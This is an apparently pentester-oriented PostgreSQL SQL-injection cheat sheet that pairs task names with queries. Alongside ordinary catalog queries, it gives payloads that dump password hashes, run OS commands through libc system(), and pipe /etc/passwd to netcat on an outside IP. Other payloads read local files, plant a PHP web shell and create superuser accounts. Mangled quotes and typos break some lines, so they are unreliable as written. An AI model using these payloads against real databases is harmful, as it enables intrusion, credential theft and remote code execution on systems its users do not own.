cheat sheet postgresql

Version	SELECT version()
Comments	SELECT 1; –comment SELECT /*comment*/1;
Current User	SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername();
List Users	SELECT usename FROM pg_user
List Password Hashes	SELECT usename, passwd FROM pg_shadow — priv
Password Cracker	MDCrack can crack PostgreSQL’s MD5-based passwords.
List Privileges	SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA Accounts	SELECT usename FROM pg_user WHERE usesuper IS TRUE
Current Database	SELECT current_database()
List Databases	SELECT datname FROM pg_database
List Columns	SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
List Tables	SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name	If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
Select Nth Row	SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char	SELECT substr(‘abcd’, 3, 1); — returns c
Bitwise AND	SELECT 6 & 2; — returns 2 SELECT 6 & 1; –returns 0
ASCII Value -> Char	SELECT chr(65);
Char -> ASCII Value	SELECT ascii(‘A’);
Casting	SELECT CAST(1 as varchar); SELECT CAST(’1′ as int);
String Concatenation	SELECT ‘A’ || ‘B’; — returnsAB
If Statement	IF statements only seem valid inside functions, so aren’t much use for SQL injection.  See CASE statement instead.
Case Statement	SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
Avoiding Quotes	SELECT CHR(65)||CHR(66); — returns AB
Time Delay	SELECT pg_sleep(10); — postgres 8.2+ only CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function.  Taken from here .
Make DNS Requests	Generally not possible in postgres.  However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights): SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT); Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.
Command Execution	CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
Local File Access	CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time … DROP TABLE mytest mytest;Write to a file: CREATE TABLE mytable (mycol text); INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’); COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user.  Generally you won’t be able to write to the web root, but it’s always work a try. – priv user can also read/write files by mapping libc functions
Hostname, IP Address	SELECT inet_server_addr(); — returns db server IP address (or null if using local connection) SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
Create Users	CREATE USER test1 PASSWORD ‘pass1′; — priv CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
Drop Users	DROP USER test1; — priv
Make User DBA	ALTER USER test1 CREATEUSER CREATEDB; — priv
Location of DB files	SELECT current_setting(‘data_directory’); — priv SELECT current_setting(‘hba_file’); — priv
Default/System Databases	template0 template1